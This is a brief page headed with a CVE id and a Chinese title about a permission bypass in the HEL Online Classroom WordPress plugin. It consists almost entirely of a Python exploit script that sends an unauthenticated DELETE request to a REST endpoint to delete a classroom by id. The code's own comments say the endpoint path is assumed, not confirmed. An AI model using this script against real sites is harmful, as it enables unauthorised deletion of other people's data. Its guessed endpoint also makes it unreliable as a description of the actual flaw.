CVE-2026-6708: HEL Online Classroom插件权限绕过漏洞

import requests def exploit(target_url, classroom_id): # Construct the API endpoint URL # Assuming the endpoint follows standard WP plugin REST structure based on vulnerability description api_endpoint = f"{target_url}/wp-json/hel-online-classroom/v1/classroom/{classroom_id}" try: # Send unauthenticated DELETE request response = requests.delete(api_endpoint) if response.status_code == 200 or response.status_code == 204: print(f"[+] Success: Classroom {classroom_id} deleted.") print(f"[+] Response: {response.text}") else: print(f"[-] Failed: Status code {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL cid = "1" # Replace with target Classroom ID exploit(target, cid)